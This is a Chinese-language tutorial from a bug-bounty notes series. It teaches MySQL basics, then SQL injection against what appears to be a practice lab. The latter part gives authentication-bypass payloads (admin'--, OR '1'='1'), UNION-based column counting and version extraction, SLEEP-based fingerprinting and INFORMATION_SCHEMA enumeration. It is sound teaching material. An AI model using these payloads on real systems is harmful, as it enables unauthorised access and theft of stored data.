【Bug Bounty Hunter】第八章-SQL注入基础

img

【Bug Bounty Hunter】笔记系列

0x00 数据库

1. 数据库简介

在了解 SQL 注入之前,我们需要更多地了解数据库和结构化查询语言 (SQL),了解哪些数据库可以执行必要的查询。Web 应用程序利用后端数据库来存储与各种相关地内容和信息。包括核心的数据资产(图片和文件等),内容(如帖子和更新)或用户数据(如用户名和密码)

数据库有许多不同类型,每种类型都适合特定的用途。传统地应用程序使用基于文件的数据库,随着大小的增加,速度非常慢。因此人们开始采用数据库管理系统(DBMS)。

1.1 数据库管理系统(DBMS)

数据库管理系统 (DBMS) 更加方便地创建、定义、托管和管理数据库。随着时间的推移,人们设计出了各种类型的数据库管理系统,例如基于文件的存储、关系数据库管理系统(RDBMS)、NoSQL、基于图形的存储,以及键值对的存储。

与 DBMS 交互有多种方式,如命令行工具、图形界面甚至 API(应用程序编程接口)。DBMS 广泛应用于银行、金融和教育领域,用于记录大量数据。 DBMS 的一些基本功能包括:

  • Concurrency(并发性):现实世界中的应用程序可能有多个用户同时与之交互。DBMS 可确保这些并发交互成功,而不会损坏或丢失任何数据。
  • Consistency(一致性):面对如此多的并发交互,数据库管理系统需要确保数据在整个数据库中保持一致和有效。
  • Security(安全性):数据库管理系统通过用户身份验证和权限提供细粒度的安全控制。这将防止未经授权查看或编辑敏感数据。
  • Reliability(可靠性):它可以轻松备份数据库,并在数据丢失或出现漏洞时将其恢复到以前的状态。
  • Structured Query Language(结构化查询语言):SQL 通过支持各种操作的直观语法简化了用户与数据库的交互。

2. 数据库类型

数据库通常分为关系数据库(Relational Databases)和非关系数据库(Non-Relational Databases)。只有关系数据库使用 SQL,而非关系数据库则使用各种通信方法。

0x01 MySQL

1. MySQL 简介

1.1 概述

本节将介绍 MySQL/SQL 的一些基础知识和语法以及 MySQL/MariaDB 数据库中使用的示例。

1.2 结构化查询语言(SQL)

不同 RDBMS 的 SQL 语法可能有所不同。不过,它们都必须遵循结构化查询语言的 ISO 标准。我们将在示例中使用 MySQL/MariaDB 语法。SQL 可用来执行以下操作:

  • Retrieve data(检索数据)
  • Update data(更新数据)
  • Delete data(删除数据)
  • Create new tables and databases(创建新表和数据库)
  • Add / remove users(添加/删除用户)
  • Assign permissions to these users(为这些用户分配权限)

1.3 命令行

mysql 实用程序用于对 MySQL/MariaDB 数据库进行身份验证并与之交互。 -u 标志用于提供用户名,-p 标志用于提供密码。 -p 标志应为空,因此系统会提示我们输入密码,并且不要直接在命令行上传递密码,因为它可以以明文形式存储在 bash_history 文件中。

1
d4rk30@linux$ mysql -u root -p

同样,也可以直接在命令中使用密码,但应避免这种情况,因为这可能会导致密码保留在日志和终端历史记录中:

1
d4rk30@linux$ mysql -u root -p<password>

提示:“-p”和密码之间不应有任何空格。

上述示例中,我们以超级用户(即 “root”,密码为 “password”)身份登录,拥有执行所有命令的权限。其他 DBMS 用户则拥有特定权限,可以执行哪些语句。我们可以使用 SHOW GRANTS 命令查看我们拥有哪些权限。

当我们不指定主机时,它将默认为本地主机服务器。我们可以使用 -h 和 -P 标志指定远程主机和端口。

1
d4rk30@linux$ mysql -u root -h mysql.test.com -P 3306 -p 

注意:默认的 MySQL/MariaDB 端口是 (3306),但可以配置为其他端口。它是使用大写“P”指定的,与密码使用的小写“p”不同。

注意:要按照示例进行操作,请尝试使用 PwnBox 上的“mysql”工具,使用其 IP 和端口登录到本节末尾问题中找到的 DBMS。使用“root”作为用户名,使用“password”作为密码。

1.4 创建数据库

使用 mysql 工具登录数据库后,我们就可以开始使用 SQL 查询与 DBMS 交互。例如,可以使用 CREATE DATABASE 语句在 MySQL DBMS 中创建一个新数据库。

1
2
3
mysql> CREATE DATABASE users;

Query OK, 1 row affected (0.02 sec)

MySQL 命令行查询以;结束。上面的示例创建了一个名为 users 的新数据库。我们可以使用 SHOW DATABASES 查看数据库列表,并使用 USE 语句切换到 users 数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SHOW DATABASES;

+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| users |
+--------------------+

mysql> USE users;

Database changed

SQL 语句不区分大小写,这意味着 “USE users; “和 “use users; “指的是同一条命令。但是,数据库名称是区分大小写的,因此我们不能用 “USE USERS; “代替 “USE users;”。因此,好的做法是用大写字母指定语句,以避免混淆。

1.5 表

DBMS 以表的形式存储数据。表格由水平行和垂直列组成。行和列的交集称为单元格。每个表都是使用一组固定的列创建的,其中每列都具有特定的数据类型。

数据类型定义列要保存的值类型。常见的示例有数字、字符串、日期、时间和二进制数据。也可能存在特定于 DBMS 的数据类型。可以在此处找到 MySQL 中数据类型的完整列表。例如,让我们使用 CREATE TABLE SQL 查询创建一个名为 logins 的表来存储用户数据:

1
2
3
4
5
6
CREATE TABLE logins (
id INT,
username VARCHAR(100),
password VARCHAR(100),
date_of_joining DATETIME
);

CREATE TABLE 查询首先指定表名称,然后(在括号内)我们通过名称和数据类型指定每列,所有列均以逗号分隔。在名称和类型之后,我们可以指定特定的属性,第一列 id 是整数。下面两列,即用户名和密码,分别设置为 100 个字符的字符串。任何长度超过此值的输入都会导致错误。date_of_joining 列的类型为 DATETIME,用于存储添加条目的日期。

1
2
3
4
5
6
7
8
mysql> SHOW TABLES;

+-----------------+
| Tables_in_users |
+-----------------+
| logins |
+-----------------+
1 row in set (0.00 sec)

可以使用 SHOW TABLES 语句获取当前数据库中的所有的表。此外,还可使用 DESCRIBE 关键字列出表结构及其字段和数据类型。

1
2
3
4
5
6
7
8
9
10
11
mysql> DESCRIBE logins;

+-----------------+--------------+
| Field | Type |
+-----------------+--------------+
| id | int |
| username | varchar(100) |
| password | varchar(100) |
| date_of_joining | date |
+-----------------+--------------+
4 rows in set (0.00 sec)
表格属性

在 CREATE TABLE 语句中,可以为表和每列设置许多属性。例如,我们可以使用 AUTO_INCRMENT 关键字将 id 列设置为自动递增,每次向表中添加新项目时,都会自动将 id 递增+1:

1
id INT NOT NULL AUTO_INCREMENT,

NOT NULL 确保指定的列永远不会留空“即必填字段”。我们还可以使用 UNIQUE 来确保插入的项始终是唯一的。例如,如果我们将它与 username 列一起使用,我们可以确保不会有两个用户具有相同的用户名:

1
username VARCHAR(100) UNIQUE NOT NULL,

另一个重要的关键字是 DEFAULT 关键字,它用于指定默认值。例如,在 date_of_joining 列中,我们可以将默认值设置为 Now() ,它在 MySQL 中返回当前日期和时间:

1
date_of_joining DATETIME DEFAULT NOW(),

最后,最重要的一个属性是 PRIMARY KEY,我们可以使用它来唯一标识每个表中的记录,对于关系型数据库来说,是指表中记录的所有数据,如上一节所述。我们可以将 id 列设为该表的主键:

1
PRIMARY KEY (id)

最终的 CREATE TABLE 查询如下:

1
2
3
4
5
6
7
CREATE TABLE logins (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) UNIQUE NOT NULL,
password VARCHAR(100) NOT NULL,
date_of_joining DATETIME DEFAULT NOW(),
PRIMARY KEY (id)
);

2. SQL 语句

我们已经了解了如何使用 mysql 程序创建数据库和表格,让我们来看看一些基本的 SQL 语句及其用途。

2.1 INSERT 语句

INSERT 语句用于向给定表中添加新记录。语句的语法如下:

1
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

上述语法要求用户填写表中所有列的值。

1
2
3
mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');

Query OK, 1 row affected (0.00 sec)

这个例子展示了如何在登录表中添加新的登录信息,并为每一列添加适当的值。不过,我们可以跳过填入默认值的列,如 id 和 date_of_joining。这可以通过指定列名有选择地向表中插入值来实现:

1
INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);

注意:跳过带有 “NOT NULL “约束的列将导致错误,因为它是必填值。

1
2
3
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');

Query OK, 1 row affected (0.00 sec)

在上面的示例中,我们插入了用户名和密码,而跳过了 id 和date_of_joining 。

注意:示例将明文密码插入表中,仅供演示。这是一种不好的做法,因为在存储密码之前,应始终对密码进行散列/加密。

我们还可以用逗号分隔多个记录,一次插入多个记录:

1
2
3
4
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');

Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0

上述查询同时插入了两条新记录。

2.2 SELECT 语句

1
SELECT * FROM table_name;

* 表示通配符,会显示所有列。FROM 关键字用于表示要从哪个表中进行选择。也可以查看特定列中的数据:

1
SELECT column1, column2 FROM table_name;

上面的查询将仅选择 column1column2 中存在的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> SELECT * FROM logins;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)


mysql> SELECT username,password FROM logins;

+---------------+------------+
| username | password |
+---------------+------------+
| admin | p@ssw0rd |
| administrator | adm1n_p@ss |
| john | john123! |
| tom | tom123! |
+---------------+------------+
4 rows in set (0.00 sec)

2.3 DROP 语句

我们可以使用 DROP 删除表和数据库。

1
2
3
4
5
6
7
8
mysql> DROP TABLE logins;

Query OK, 0 rows affected (0.01 sec)


mysql> SHOW TABLES;

Empty set (0.00 sec)

DROP 语句将永久、完全删除表且无需确认,因此应谨慎使用。

2.4 ALTER 语句

使用 ALTER 来更改任何表及其任何字段的名称,也可以对现有的一个表删除或添加新列。

下面的示例使用 ADD 在登录表中添加了一列 newColumn

1
2
3
mysql> ALTER TABLE logins ADD newColumn INT;

Query OK, 0 rows affected (0.01 sec)

重命名列,我们可以使用 RENAME COLUMN

1
2
3
mysql> ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;

Query OK, 0 rows affected (0.01 sec)

使用 MODIFY 更改列的数据类型:

1
2
3
mysql> ALTER TABLE logins MODIFY oldColumn DATE;

Query OK, 0 rows affected (0.01 sec)

可以使用 DROP 删除一列:

1
2
3
mysql> ALTER TABLE logins DROP oldColumn;

Query OK, 0 rows affected (0.01 sec)

2.5 UPDATE 语句

ALTER 用于更改表的属性, UPDATE 可用于更新表中的特定记录:

1
UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

下面是一个具体的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;

Query OK, 3 rows affected (0.00 sec)
Rows matched: 3 Changed: 3 Warnings: 0


mysql> SELECT * FROM logins;

+----+---------------+-----------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-----------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:50 |
| 3 | john | change_password | 2020-07-02 11:47:16 |
| 4 | tom | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

上面的查询更新了 id 大于 1 的所有记录中的所有密码。

3. 查询结果

3.1 对结果进行排序

我们可以使用 ORDER BY 对任何查询的结果进行排序 并指定要排序的列:

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM logins ORDER BY password;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

默认情况下,排序按升序进行,但我们也可以按 ASCDESC 对结果进行排序:

  • ASC:表示按升序排序
  • DESC:表示按降序排序
1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM logins ORDER BY password DESC;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

还可以通过多列排序,对一列中的重复值进行二次排序:

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;

+----+---------------+-----------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-----------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:50 |
| 3 | john | change_password | 2020-07-02 11:47:16 |
| 4 | tom | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

3.2 限制结果

如果我们的查询返回大量记录,我们可以使用 LIMIT 把结果限制在我们想要的范围内:

1
2
3
4
5
6
7
8
9
mysql> SELECT * FROM logins LIMIT 2;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

还可以使用 LIMIT 指定限制的范围:

1
2
3
4
5
6
7
8
9
mysql> SELECT * FROM logins LIMIT 1, 2;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

LIMIT 后面的第一个参数表示偏移量,第二个参数表示返回的记录条数。

3.3 WHERE

要过滤或搜索特定数据,我们可以使用 WHERE 语句:

1
SELECT * FROM table_name WHERE <condition>;
1
2
3
4
5
6
7
8
9
10
mysql> SELECT * FROM logins WHERE id > 1;

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)

上面的示例选择 id 值大于 1 的所有记录。

1
2
3
4
5
6
7
8
mysql> SELECT * FROM logins where username = 'admin';

+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

上面的查询选择用户名是 admin 的记录

注意:字符串和日期数据类型应该用单引号(’)或双引号(“)括起来,而数字可以直接使用。

3.4 LIKE

另一个 SQL 语句是 LIKE,它可以通过匹配特定模式来选择记录。下面的查询将检索用户名以 admin 开头的所有记录:

1
2
3
4
5
6
7
8
9
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';

+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 4 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

% 符号用作通配符,可匹配 admin 后面的所有字符,它用于匹配零个或多个字符。同样,_ 符号用于精确匹配一个字符。下面的查询会匹配所有包含三个字符的用户名,在本例中就是 tom

1
2
3
4
5
6
7
8
mysql> SELECT * FROM logins WHERE username like '___';

+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 3 | tom | tom123! | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+
1 row in set (0.01 sec)

4. SQL运算符

4.1 AND运算符

AND 运算符接收两个条件,并根据它们的评估结果返回 truefalse

1
condition1 AND condition2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> SELECT 1 = 1 AND 'test' = 'test';

+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 1 AND 'test' = 'abc';

+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
| 0 |
+--------------------------+
1 row in set (0.00 sec)

在 MySQL 中,任何非零值都被视为 true ,并且它通常返回值 1 来表示 true 。 0 被认为是 false 。

4.2 OR运算符

OR 运算符也接受两个表达式,并在其中至少一个表达式为 true 时返回 true :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> SELECT 1 = 1 OR 'test' = 'abc';

+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 2 OR 'test' = 'abc';

+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (0.00 sec)

4.3 NOT运算符

NOT 运算符只是简单地切换布尔值,即 “true “转换为 “false”,反之亦然:

4.4 符号运算符

AND、OR 和 NOT 操作符也可以分别表示为 &&||!

4.5 多运算符优先级

这里是常见操作及其优先级的列表:

  • Division (/), Multiplication (*), and Modulus (%)
  • Addition (+) and subtraction (-)
  • Comparison (=, >, <, <=, >=, !=, LIKE)
  • NOT (!)
  • AND (&&)
  • OR (||)

0x02 SQL注入

1. SQL注入简介

当用户输入被输入到 SQL 查询字符串而没有正确清理或过滤输入时,就会发生 SQL 注入。

1.1 注入的类型

img

在简单情况下,预期查询的输出可能直接打印在前端,我们可以直接读取。这就是所谓的 In-band SQL 注入,有两种类型:基于联合查询注入和基于报错注入。

在更复杂的情况下,我们可能无法打印输出,因此我们可以利用 SQL 逻辑逐字符检索输出。这称为 SQL 盲注,它也有两种类型:基于布尔和基于时间。

最后,在某些情况下,我们可能无法直接访问输出,因此我们可能必须将输出定向到远程位置,即 DNS 记录,然后尝试从那里检索它。这称为 Out-of-band SQL 注入。

2. 破坏查询逻辑

我们已经对 SQL 语句的工作原理有了基本的了解,现在开始学习 SQL 注入。在开始执行整个 SQL 查询之前,我们首先要学会通过注入 OR 运算符和使用 SQL 注释来修改原始查询,从而破坏原始查询的逻辑。一个基本的例子是绕过 Web 身份验证。

2.1 身份验证绕过

查看以下页面,可以使用账号密码登录,admin/p@ssw0rd

img

页面显示正在执行的 SQL 查询,以便更好地了解我们将如何破坏查询逻辑。

img

2.2 SQL注入发现

尝试绕过身份验证之前,我们首先必须测试登录表单是否容易受到 SQL 注入攻击。为此,我们将尝试在用户名后添加以下有效 Playload,看看它是否会导致任何错误或更改页面的行为方式:

Payload URL Encoded
%27
%22
# %23
; %3B
) %29

注意:在某些情况下,我们可能必须使用 URL 编码形式的 Payload。一个例子是当我们将有效负载直接放入 URL 中进行请求。

2.3 使用OR注入

我们需要查询始终返回 true ,来绕过身份验证。

MySQL 操作优先级文档指出 AND 运算符将在 OR 运算符之前进行评估。这意味着,如果整个查询中至少有一个 TRUE 条件以及 OR 运算符,则整个查询的计算结果将为 TRUE,因为如果其操作数之一为 TRUE,则 OR 运算符将返回 TRUE

最终查询应如下所示:

1
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

img

AND 运算符将首先被求值,它将返回 false。然后,将评估 OR 运算符,如果任一语句为 true,它将返回 true。由于 1=1 始终返回 true,因此此查询将返回 true

3. 使用注释

3.1 注释

SQL 和任何其他编程语言一样,也允许使用注释。被注释语句会被忽略。除了行内注释 /**/ 之外,我们还可以在 MySQL 中使用两种类型的行注释 --#-- 可以按照下方给出的示例使用:

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT username FROM logins; -- Selects usernames from the logins table 

+---------------+
| username |
+---------------+
| admin |
| administrator |
| john |
| tom |
+---------------+
4 rows in set (0.00 sec)

注意:在 SQL 中,使用两个 -- 进行注释时,后面必须要有一个空格。这种方式在 URL 中有时会编码为 --+,因为 URL 中的空格会编码为 +。为了更加清楚,我们需要在末尾再添加另一个 -,表示空格字符的使用,例如这样:-- -

同时,也可以使用 # 进行注释:

1
2
3
4
5
6
7
8
mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'

+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

如果在浏览器中的 URL 中输入 Payload,则 # 通常被视为 URL 中的 Tag,并且不会作为 URL 的一部分传递。为了在 URL 中使用 # 作为注释,我们可以使用 %23,它是 URL 编码的 #

3.2 使用注释绕过身份验证

在上一节的示例中,如果我们使用注释的方式进行注入:admin'--,最终的查询语句应该如下:

1
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

从语法高亮显示中可以看到的,查询的用户名是 admin ,查询的其余部分现在作为注释被忽略。

我们在登陆页面使用该注入方式进行注入,可以看到成功的登录页面。

ing

3.3 另一个例子

让我们稍微提高一下难度,先看下面的例子:

img

在 SQL 中可以使用括号来调整执行顺序,括号内的表达式优先于其他操作符。在例子中的查询条件:确保用户 id 始终大于 1,从而防止任何人以管理员身份登录。此外,我们还可以看到,密码在查询中使用之前已经进行了 Hash 处理。这将防止我们通过密码字段进行注入,因为输入已更改为哈希值。此时我们如果使用正确的账号和密码进行登录,登录还是失败了,因为管理员的 ID 等于 1。

img

我们需要重新构造一个注入语句,注释掉 id 内容,并且把括号进行闭合,可以使用 admin')-- 进行注入,等于最终的查询结果如下:

1
SELECT * FROM logins where (username='admin')

4. 联合查询语句

在我们开始学习 Union 注入之前,应该首先了解有关 Union 查询的更多信息。 Union 用于组合多个 SELECT 语句的结果。这意味着通过 UNION 注入,我们将能够从整个 DBMS、各种表和数据库中进行 SELECT 和 Dump Data的操作。下面让我们在示例数据库中尝试使用 UNION 操作符。首先让我们看看 ports 表的内容:

1
2
3
4
5
6
7
8
9
10
mysql> SELECT * FROM ports;

+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-21 | Shenzhen |
+----------+-----------+
3 rows in set (0.00 sec)

再查看一下 ships 表的内容:

1
2
3
4
5
6
7
8
mysql> SELECT * FROM ships;

+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
1 rows in set (0.00 sec)

现在使用 UNION 来合并两个结果:

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)

正如我们所看到的,UNION 将两个 SELECT 语句的输出合并为一个,因此 ports 表和 ships 表中的条目被合并为一个,展示了四行数据的输出。一些行属于 ports 表,其他一些行属于 ships 表。

注意:所有位置上所选列的数据类型应相同。

4.1 相等列数

UNION 语句只能在列数相等的 SELECT 语句上运行。例如,如果我们尝试对两个结果列数不同的查询进行 UNION,就会出现以下错误:

1
2
3
mysql> SELECT city FROM ports UNION SELECT * FROM ships;

ERROR 1222 (21000): The used SELECT statements have a different number of columns

上述查询会导致错误,因为第一个 SELECT 返回一列,第二个 SELECT 返回两列。

4.2 不等列数

原始查询的列数通常不会与我们要执行的 SQL 查询的列数相同,因此我们必须设法解决这个问题。例如,假设我们只有一列。在这种情况下,我们要进行 SELECT,就可以为剩余的所需列添加垃圾数据,这样我们要进行 UNION 的列总数就会与原始查询保持一致。

我们可以使用任何字符串作为我们的垃圾数据,查询将返回该字符串作为该列的输出。同时我们也可以使用数字。

注意:在其他列中填充垃圾数据时,我们必须确保数据类型与列的数据类型相匹配,否则查询将返回错误。为简单起见,我们将使用数字作为垃圾数据,这也将方便我们跟踪 Payload 的位置。

提示:对于高级 SQL 注入,我们可能只想使用“NULL”来填充其他列,因为“NULL”适合所有数据类型

在下面的示例中,products 表有两列,因此我们必须对两列进行 UNION。如果我们只想获得一列,例如 username,我们必须执行 username, 2,这样我们就有相同的列数。

1
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

如果原始查询的语句结果中有更多列,那我们也需要添加更多数字来填充剩余的所需列。例如,如果原始查询结果有四列,则我们的 UNION 注入将是:

1
UNION SELECT username, 2, 3, 4 from passwords

查询结果如下:

1
2
3
4
5
6
7
mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords

+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
| admin | 2 | 3 | 4 |
+-----------+-----------+-----------+-----------+

5. 联合注入

现在我们知道了 Union 的工作原理以及如何使用它,让我们学习如何在 SQL 注入中使用它。让我们看下面的例子:

img

我们在搜索参数中发现了潜在的 SQL 注入。我们通过注入单引号 ' 发现页面报错了,由于我们引发了错误,这可能意味着该页面容易受到 SQL 注入攻击。这种情况非常适合通过基于 Union 的注入进行利用,因为我们可以看到查询结果。

5.1 检测列数

在继续利用基于 Union 的查询之前,我们需要找到这个服务查询结果所提供的列数。有两种检测列数的方法:

  • 使用 ORDER BY
  • 使用 UNION
使用ORDER BY

检测列数的第一种方法是通过我们之前讨论过的 ORDER BY 函数。我们必须注入一个查询,按我们指定的列(即第 1 列、第 2 列等)对结果进行排序,直到收到一条错误消息,指出指定的列不存在。

例如,我们可以开始使用 order by 1 ,按第1列排序,并成功,因为表必须至少有1个列。然后用 order by 2 排序,然后再用 order by 3 排序,直到返回错误的数字,或者页面不显示任何输出,这意味着该列号不存在。我通过最后成功排序的列,我们可以得出列的总数。

如果我们在 order by 4 处失败,这意味着表有三列,这是我们能够成功排序的列数。

1
' order by 4-- -
使用UNION

另一种方法是尝试使用不同数量的列进行联合注入,直到我们成功获取结果。第一个方法总是返回结果,直到我们遇到错误,而这个方法总是给出错误,直到我们成功。我们可以从注入 3 列 UNION 查询开始:

1
cn' UNION select 1,2,3-- -

5.2 注入位置

虽然查询可能返回多个列,但 Web 应用程序可能只显示其中的一些列。因此,如果我们将查询注入到页面上未打印的列中,我们将无法获得其输出。在前面的示例中,虽然注入的查询返回 1、2、3 和 4,但我们只看到 2、3 和 4 作为输出数据显示在页面上:

img

通常情况下,并不是每一列都会显示给用户。例如,ID 字段通常用于将不同的表连接在一起,但用户并不需要看到它。这就告诉我们,第 2 列、第 3 列和第 4 列是打印出来的,我们可以在其中任何一列中注入注入项。我们不能将注入放在开头,否则其输出将不会被打印。

为了测试我们能否从数据库中获取实际数据而不仅仅是数字,我们可以使用 @@version SQL 查询作为测试,并将其放在第二列。

1
cn' UNION select 1,@@version,3,4-- -

img

正如我们所看到的,我们可以获得显示的数据库版本。并且知道如何形成 Union SQL 注入 Payload 成功将查询的输出打印在页面上。

0x03 利用

1. 数据库枚举

1.1 MySQL指纹

在枚举数据库之前,我们通常需要确定我们正在处理的 DBMS 的类型。这是因为每种 DBMS 都有不同的查询方式,知道它的类型有助于我们知道使用什么查询方式。

以下查询及其输出结果将告诉我们,我们正在处理的是 MySQL:

Payload 何时使用 预期输出 错误输出
SELECT @@version 当我们有完整的查询输出时 MySQL Version ‘i.e. 10.3.22-MariaDB-1ubuntu1’ 在 MSSQL 中,它会返回 MSSQL 版本。其他 DBMS 会出错。
SELECT POW(1,1) 当我们只有数字输出时 1 其他 DBMS 会出错
SELECT SLEEP(5) 盲注或无输出 页面响应延迟 5 秒并返回 0。 使用其他 DBMS 不会延迟响应

1.2 INFORMATION_SCHEMA Database

要使用 UNION SELECT 从表中提取数据,我们需要正确形成 SELECT 查询。为此,我们需要以下信息:

  • 数据库列表
  • 每个数据库中的表
  • 每个表中的列

INFORMATION_SCHEMA 数据库包含服务器上数据库和表的元数据。该数据库在利用 SQL 注入漏洞时起着至关重要的作用。由于这是一个不同的数据库,我们不能用 SELECT 语句直接调用它的表。如果我们只在 SELECT 语句中指定表的名称,它就会查找同一数据库中的表。

因此,要引用另一个数据库中的表,我们可以使用 . 操作符。例如,要 SELECT 名为 my_database 的数据库中的表 users,我们可以使用:

1
SELECT * FROM my_database.users;

1.3 SCHEMATA

要开始枚举,我们首先要找到 DBMS 上有哪些可用数据库。INFORMATION_SCHEMA 数据库中的表 SCHEMATA 包含服务器上所有数据库的信息。它用于获取数据库名称,以便我们进行查询。SCHEMA_NAME 列包含当前存在的所有数据库名称。

1
2
3
4
5
6
7
8
9
10
11
12
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)

我们看到 ilfreight 和 dev 数据库。

注意:前三个数据库是默认的 MySQL 数据库,并且存在于任何服务器上,因此我们通常在 DB 枚举期间忽略它们。有时还有第四个“sys”数据库。

现在,让我们使用 UNION SQL 注入执行相同的操作,Payload 如下:

1
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

img

让我们找出 Web 应用程序正在运行哪个数据库来检索端口数据。我们可以使用 SELECT database() 查询找到当前数据库。

1
cn' UNION select 1,database(),2,3-- -

img

1.4 TABLES

在确认了数据库之后,我们需要获得表的列表,以便使用 SELECT 语句查询这些表。要查找数据库中的所有表,我们可以使用 INFORMATION_SCHEMA 数据库中的 TABLES 表。

